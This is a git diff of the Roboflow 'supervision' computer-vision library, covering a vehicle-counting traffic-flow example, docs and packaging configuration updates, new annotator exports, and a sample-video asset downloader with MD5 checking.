roboflow_api_key: str,
model_id: str,
source_video_path: str,
target_video_path: str = None,
confidence_threshold: float = 0.3,
iou_threshold: float = 0.7,
) -> None:
self.conf_threshold = confidence_threshold
self.iou_threshold = iou_threshold
self.source_video_path = source_video_path
self.target_video_path = target_video_path
self.model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
self.tracker = sv.ByteTrack()
self.video_info = sv.VideoInfo.from_video_path(source_video_path)
self.zones_in = initiate_polygon_zones(
ZONE_IN_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
)
self.zones_out = initiate_polygon_zones(
ZONE_OUT_POLYGONS, self.video_info.resolution_wh, sv.Position.CENTER
)
self.box_annotator = sv.BoxAnnotator(color=COLORS)
self.trace_annotator = sv.TraceAnnotator(
color=COLORS, position=sv.Position.CENTER, trace_length=100, thickness=2
)
self.detections_manager = DetectionsManager()
def process_video(self):
frame_generator = sv.get_video_frames_generator(
source_path=self.source_video_path
)
if self.target_video_path:
with sv.VideoSink(self.target_video_path, self.video_info) as sink:
for frame in tqdm(frame_generator, total=self.video_info.total_frames):
annotated_frame = self.process_frame(frame)
sink.write_frame(annotated_frame)
else:
for frame in tqdm(frame_generator, total=self.video_info.total_frames):
annotated_frame = self.process_frame(frame)
cv2.imshow("Processed Video", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
def annotate_frame(
self, frame: np.ndarray, detections: sv.Detections
) -> np.ndarray:
annotated_frame = frame.copy()
for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
annotated_frame = sv.draw_polygon(
annotated_frame, zone_in.polygon, COLORS.colors[i]
)
annotated_frame = sv.draw_polygon(
annotated_frame, zone_out.polygon, COLORS.colors[i]
)
labels = [f"#{tracker_id}" for tracker_id in detections.tracker_id]
annotated_frame = self.trace_annotator.annotate(annotated_frame, detections)
annotated_frame = self.box_annotator.annotate(
annotated_frame, detections, labels
)
for zone_out_id, zone_out in enumerate(self.zones_out):
zone_center = sv.get_polygon_center(polygon=zone_out.polygon)
if zone_out_id in self.detections_manager.counts:
counts = self.detections_manager.counts[zone_out_id]
for i, zone_in_id in enumerate(counts):
count = len(self.detections_manager.counts[zone_out_id][zone_in_id])
text_anchor = sv.Point(x=zone_center.x, y=zone_center.y + 40 * i)
annotated_frame = sv.draw_text(
scene=annotated_frame,
text=str(count),
text_anchor=text_anchor,
background_color=COLORS.colors[zone_in_id],
)
return annotated_frame
def process_frame(self, frame: np.ndarray) -> np.ndarray:
results = self.model.infer(
frame, confidence=self.conf_threshold, iou_threshold=self.iou_threshold
)[0]
detections = sv.Detections.from_inference(results)
detections.class_id = np.zeros(len(detections))
detections = self.tracker.update_with_detections(detections)
detections_in_zones = []
detections_out_zones = []
for i, (zone_in, zone_out) in enumerate(zip(self.zones_in, self.zones_out)):
detections_in_zone = detections[zone_in.trigger(detections=detections)]
detections_in_zones.append(detections_in_zone)
detections_out_zone = detections[zone_out.trigger(detections=detections)]
detections_out_zones.append(detections_out_zone)
detections = self.detections_manager.update(
detections, detections_in_zones, detections_out_zones
)
return self.annotate_frame(frame, detections)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Traffic Flow Analysis with Inference and ByteTrack"
)
parser.add_argument(
"--model_id",
default="vehicle-count-in-drone-video/6",
help="Roboflow model ID",
type=str,
)
parser.add_argument(
"--roboflow_api_key",
default=None,
help="Roboflow API KEY",
type=str,
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
default=None,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
)
args = parser.parse_args()
api_key = args.roboflow_api_key
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
if api_key is None:
raise ValueError(
"Roboflow API KEY is missing. Please provide it as an argument or set the "
"ROBOFLOW_API_KEY environment variable."
)
args.roboflow_api_key = api_key
processor = VideoProcessor(
roboflow_api_key=args.roboflow_api_key,
model_id=args.model_id,
source_video_path=args.source_video_path,
target_video_path=args.target_video_path,
confidence_threshold=args.confidence_threshold,
iou_threshold=args.iou_threshold,
)
processor.process_video()
+3 -2
View File
@@ -1,4 +1,5 @@
supervision>=0.15.0rc1
gdown
inference
supervision
tqdm
ultralytics
gdown
@@ -47,10 +47,12 @@ class DetectionsManager:
self.counts.setdefault(zone_out_id, {})
self.counts[zone_out_id].setdefault(zone_in_id, set())
self.counts[zone_out_id][zone_in_id].add(tracker_id)
detections_all.class_id = np.vectorize(
lambda x: self.tracker_id_to_zone_id.get(x, -1)
)(detections_all.tracker_id)
if len(detections_all) > 0:
detections_all.class_id = np.vectorize(
lambda x: self.tracker_id_to_zone_id.get(x, -1)
)(detections_all.tracker_id)
else:
detections_all.class_id = np.array([], dtype=int)
return detections_all[detections_all.class_id != -1]
+90 -11
View File
@@ -1,38 +1,47 @@
site_name: Supervision
site_url: https://supervision.roboflow.com/
site_author: Roboflow
site_description: A set of easy-to-use utils that will come in handy in any Computer Vision project
site_description: A set of easy-to-use utilities that will come in handy in any computer vision project.
repo_name: roboflow/supervision
repo_url: https://github.com/roboflow/supervision
edit_uri: https://github.com/roboflow/supervision/tree/main/docs
copyright: Roboflow 2023. All rights reserved.
copyright: Roboflow 2024. All rights reserved.
extra:
social:
- icon: fontawesome/brands/github
link: https://github.com/roboflow
- icon: fontawesome/brands/python
link: https://pypi.org/project/supervision
- icon: fontawesome/brands/docker
link: https://hub.docker.com/u/roboflow
- icon: fontawesome/brands/youtube
link: https://www.youtube.com/roboflow
- icon: fontawesome/brands/linkedin
link: https://www.linkedin.com/company/roboflow-ai/mycompany/
- icon: fontawesome/brands/twitter
link: https://www.linkedin.com/company/roboflow-ai/
- icon: fontawesome/brands/x-twitter
link: https://twitter.com/roboflow
- icon: fontawesome/brands/discord
link: https://discord.gg/GbfgXGJ8Bk
analytics:
provider: google
property: G-P7ZG0Y19G5
version:
provider: mike
extra_css:
- stylesheets/extra.css
- stylesheets/cookbooks-card.css
nav:
- Home: index.md
- How to:
- Detect and Annotate: how_to/detect_and_annotate.md
- Process Video: how_to/process_video.md
- Track Objects: how_to/track_objects.md
- Filter Detections: how_to/filter_detections.md
- Evaluate Model: how_to/evaluate_model.md
- API:
- Annotators: annotators.md
- Classifications:
- Core: classification/core.md
- Detections:
@@ -42,7 +51,8 @@ nav:
- Line Zone: detection/tools/line_zone.md
- Polygon Zone: detection/tools/polygon_zone.md
- Inference Slicer: detection/tools/inference_slicer.md
- Annotators: annotators.md
- Detection Smoother: detection/tools/smoother.md
- Save Detections: detection/tools/save_detections.md
- Trackers: trackers.md
- Datasets: datasets.md
- Metrics:
@@ -50,17 +60,40 @@ nav:
- Draw:
- Color: draw/color.md
- Utils: draw/utils.md
- Geometry:
- Position: geometry/core.md
- Utils:
- Video: utils/video.md
- Image: utils/image.md
- Notebook: utils/notebook.md
- File: utils/file.md
- Changelog: changelog.md
- Assets: assets.md
- Cookbooks: cookbooks.md
- Contribute:
- Contributing: contributing.md
- Code of Conduct: code_of_conduct.md
- License: license.md
- Changelog:
- Changelog: changelog.md
- Deprecated: deprecated.md
theme:
name: 'material'
logo: https://media.roboflow.com/open-source/supervision/supervision-lenny.png
favicon: https://media.roboflow.com/open-source/supervision/supervision-lenny.png
icon:
edit: material/pencil
logo: assets/supervision-lenny.png
favicon: assets/supervision-lenny.png
custom_dir: docs/theme
features:
- navigation.tracking
- content.code.copy
- content.action.edit
- content.tooltips
- content.code.annotate
- navigation.tabs
palette:
# Palette for light mode
- scheme: default
@@ -75,13 +108,46 @@ theme:
toggle:
icon: material/brightness-4
name: Switch to light mode
font:
text: Roboto
code: Roboto Mono
features:
- content.code.copy
- content.code.annotate
plugins:
- mkdocstrings
- search
- mkdocs-jupyter:
kernel_name: python3
execute: false
include_source: True
include_requirejs: true
- mkdocstrings:
default_handler: python
handlers:
python:
options:
parameter_headings: true
paths: [supervision]
load_external_modules: true
allow_inspection: true
show_bases: true
group_by_category: true
docstring_style: google
show_symbol_type_heading: true
show_symbol_type_toc: true
show_category_heading: true
domains: [std, py]
- git-committers:
repository: roboflow/supervision
branch: develop
token: !ENV ["GITHUB_TOKEN"]
- git-revision-date-localized:
enable_creation_date: true
markdown_extensions:
- admonition
@@ -93,3 +159,16 @@ markdown_extensions:
alternate_style: true
- toc:
permalink: true
- pymdownx.emoji:
emoji_index: !!python/name:material.extensions.emoji.twemoji
emoji_generator: !!python/name:material.extensions.emoji.to_svg
- pymdownx.snippets:
check_paths: true
- pymdownx.highlight:
anchor_linenums: true
extra_javascript:
- "https://widget.kapa.ai/kapa-widget.bundle.js"
- "javascripts/init_kapa_widget.js"
- "javascripts/cookbooks-card.js"
- "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.8/purify.min.js"
Generated
+2027 -1375
View File
File diff suppressed because it is too large Load Diff
+54 -40
View File
@@ -1,6 +1,6 @@
[tool.poetry]
name = "supervision"
version = "0.16.0"
version = "0.19.0rc3"
description = "A set of easy-to-use utils that will come in handy in any Computer Vision project"
authors = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
maintainers = ["Piotr Skalski <piotr.skalski92@gmail.com>"]
@@ -10,7 +10,7 @@ packages = [{include = "supervision"}]
homepage = "https://github.com/roboflow/supervision"
repository = "https://github.com/roboflow/supervision"
documentation = "https://github.com/roboflow/supervision/blob/main/README.md"
keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "YOLOv5", "YOLOv8", "Roboflow"]
keywords = ["machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "Roboflow"]
classifiers=[
'Development Status :: 4 - Beta',
@@ -19,10 +19,6 @@ classifiers=[
'Intended Audience :: Science/Research',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
'Programming Language :: Python :: 3.10',
'Programming Language :: Python :: 3.11',
'Programming Language :: Python :: 3 :: Only',
'Topic :: Software Development',
'Topic :: Scientific/Engineering',
@@ -35,51 +31,50 @@ classifiers=[
]
[tool.poetry.dependencies]
python = ">=3.8,<3.12.0"
numpy = "^1.20.0"
matplotlib = "^3.7.1"
pyyaml = "^6.0"
pillow = ">=9.4,<11.0"
opencv-python = { version = "^4.8.0.74", optional = true }
opencv-python-headless = "^4.8.0.74"
scipy = "^1.9.0"
python = "^3.8"
numpy = ">=1.21.2"
scipy = [
{ version = "1.10.0", python = "<3.9" },
{ version = "^1.10.0", python = ">=3.9" }
]
matplotlib = ">=3.6.0"
pyyaml = ">=5.3"
defusedxml = "^0.7.1"
opencv-python = { version = ">=4.5.5.64", optional = true }
opencv-python-headless = ">=4.5.5.64"
requests = { version = ">=2.26.0,<=2.31.0", optional = true }
tqdm = { version = ">=4.62.3,<=4.66.1", optional = true }
[tool.poetry.extras]
desktop = ["opencv-python"]
assets = ["requests","tqdm"]
[tool.poetry.group.dev.dependencies]
twine = "^4.0.2"
pytest = "^7.2.2"
wheel = "^0.40.0"
notebook = "^6.5.3"
build = "^0.10.0"
ruff = "^0.0.280"
isort = "^5.12.0"
black = "^23.7.0"
pytest = ">=7.2.2,<9.0.0"
wheel = ">=0.40,<0.43"
build = ">=0.10,<1.1"
ruff = ">=0.1.0"
mypy = "^1.4.1"
pre-commit = "^3.3.3"
flake8 = { version = "*", python = ">=3.8.1,<3.12.0" }
tox = "^4.11.4"
notebook = ">=6.5.3,<8.0.0"
ipywidgets = "^8.1.1"
jupytext = "^1.16.1"
nbconvert = "^7.14.2"
[tool.poetry.group.docs.dependencies]
mkdocs-material = "^9.1.4"
mkdocstrings = {extras = ["python"], version = "^0.20.0"}
mkdocs-material = {extras = ["imaging"], version = "^9.5.5"}
mkdocstrings = {extras = ["python"], version = ">=0.20,<0.25"}
mike = "^2.0.0"
# For Documentation Development use Python 3.10 or above
# Use Latest mkdocs-jupyter min 0.24.6 for Jupyter Notebook Theme support
mkdocs-jupyter = "^0.24.3"
mkdocs-git-committers-plugin-2 = "^2.2.3"
mkdocs-git-revision-date-localized-plugin = "^1.2.4"
[tool.flake8]
exclude = ".venv"
max-complexity = 10
max-line-length = 88
extend-ignore = """
W503,
E203,
E701,
C901,
"""
per-file-ignores = """
__init__.py: F401
"""
[tool.isort]
line_length = 88
@@ -87,7 +82,7 @@ profile = "black"
[tool.bandit]
target = ["test", "supervision"]
tests = ["B201", "B301"]
tests = ["B201", "B301", "B318", "B314", "B303", "B413", "B412", "B410"]
[tool.autoflake]
check = true
@@ -153,6 +148,7 @@ exclude = [
# Same as Black.
line-length = 88
indent-width = 4
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
@@ -167,10 +163,28 @@ convention = "google"
[tool.ruff.per-file-ignores]
"__init__.py" = ["E402","F401"]
"supervision/assets/list.py" = ["E501"]
[tool.ruff.lint.mccabe]
# Flag errors (`C901`) whenever the complexity level exceeds 5.
max-complexity = 20
[tool.ruff.pylint]
max-args = 20
[tool.ruff.format]
# Like Black, use double quotes for strings.
quote-style = "double"
# Like Black, indent with spaces, rather than tabs.
indent-style = "space"
# Like Black, respect magic trailing commas.
skip-magic-trailing-comma = false
# Like Black, automatically detect the appropriate line ending.
line-ending = "auto"
[tool.setuptools]
include-package-data = false
+17 -2
View File
@@ -10,15 +10,21 @@ from supervision.annotators.core import (
BlurAnnotator,
BoundingBoxAnnotator,
BoxCornerAnnotator,
BoxMaskAnnotator,
CircleAnnotator,
ColorAnnotator,
DotAnnotator,
EllipseAnnotator,
HaloAnnotator,
HeatMapAnnotator,
LabelAnnotator,
MaskAnnotator,
OrientedBoxAnnotator,
PercentageBarAnnotator,
PixelateAnnotator,
PolygonAnnotator,
RoundBoxAnnotator,
TraceAnnotator,
TriangleAnnotator,
)
from supervision.annotators.utils import ColorLookup
from supervision.classification.core import Classifications
@@ -30,19 +36,28 @@ from supervision.dataset.core import (
from supervision.detection.annotate import BoxAnnotator
from supervision.detection.core import Detections
from supervision.detection.line_counter import LineZone, LineZoneAnnotator
from supervision.detection.tools.csv_sink import CSVSink
from supervision.detection.tools.inference_slicer import InferenceSlicer
from supervision.detection.tools.polygon_zone import PolygonZone, PolygonZoneAnnotator
from supervision.detection.tools.smoother import DetectionsSmoother
from supervision.detection.utils import (
box_iou_batch,
box_non_max_suppression,
calculate_masks_centroids,
filter_polygons_by_area,
mask_iou_batch,
mask_non_max_suppression,
mask_to_polygons,
mask_to_xyxy,
non_max_suppression,
move_boxes,
polygon_to_mask,
polygon_to_xyxy,
scale_boxes,
)
from supervision.draw.color import Color, ColorPalette
from supervision.draw.utils import (
calculate_dynamic_line_thickness,
calculate_dynamic_text_scale,
draw_filled_rectangle,
draw_image,
draw_line,
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -102,7 +102,7 @@ class Trace:
frame_id = np.full(len(detections), self.current_frame_id, dtype=int)
self.frame_id = np.concatenate([self.frame_id, frame_id])
self.xy = np.concatenate(
[self.xy, detections.get_anchor_coordinates(self.anchor)]
[self.xy, detections.get_anchors_coordinates(self.anchor)]
)
self.tracker_id = np.concatenate([self.tracker_id, detections.tracker_id])
+2
View File
@@ -0,0 +1,2 @@
from supervision.assets.downloader import download_assets
from supervision.assets.list import VideoAssets
+95
View File
@@ -0,0 +1,95 @@
import os
from hashlib import new as hash_new
from pathlib import Path
from shutil import copyfileobj
from typing import Union
from supervision.assets.list import VIDEO_ASSETS, VideoAssets
try:
from requests import get
from tqdm.auto import tqdm
except ImportError:
raise ValueError(
"\n"
"Please install requests and tqdm to download assets \n"
"or install supervision with assets \n"
"pip install supervision[assets] \n"
"\n"
)
def is_md5_hash_matching(filename: str, original_md5_hash: str) -> bool:
"""
Check if the MD5 hash of a file matches the original hash.
Parameters:
filename (str): The path to the file to be checked as a string.
original_md5_hash (str): The original MD5 hash to compare against.
Returns:
bool: True if the hashes match, False otherwise.
"""
if not os.path.exists(filename):
return False
with open(filename, "rb") as file:
file_contents = file.read()
computed_md5_hash = hash_new(name="MD5")
computed_md5_hash.update(file_contents)
return computed_md5_hash.hexdigest() == original_md5_hash
def download_assets(asset_name: Union[VideoAssets, str]) -> str:
"""
Download a specified asset if it doesn't already exist or is corrupted.
Parameters:
asset_name (Union[VideoAssets, str]): The name or type of the asset to be
downloaded.
Returns:
str: The filename of the downloaded asset.
Example:
```python
from supervision.assets import download_assets, VideoAssets
download_assets(VideoAssets.VEHICLES)
"vehicles.mp4"
```
"""
filename = asset_name.value if isinstance(asset_name, VideoAssets) else asset_name
if not Path(filename).exists() and filename in VIDEO_ASSETS:
print(f"Downloading {filename} assets \n")
response = get(VIDEO_ASSETS[filename][0], stream=True, allow_redirects=True)
response.raise_for_status()
file_size = int(response.headers.get("Content-Length", 0))
folder_path = Path(filename).expanduser().resolve()
folder_path.parent.mkdir(parents=True, exist_ok=True)
with tqdm.wrapattr(
response.raw, "read", total=file_size, desc="", colour="#a351fb"
) as raw_resp:
with folder_path.open("wb") as file:
copyfileobj(raw_resp, file)
elif Path(filename).exists():
if not is_md5_hash_matching(filename, VIDEO_ASSETS[filename][1]):
print("File corrupted. Re-downloading... \n")
os.remove(filename)
return download_assets(filename)
print(f"{filename} asset download complete. \n")
else:
valid_assets = ", ".join(asset.value for asset in VideoAssets)
raise ValueError(
f"Invalid asset. It should be one of the following: {valid_assets}."
)
return filename

Some files were not shown because too many files have changed in this diff Show More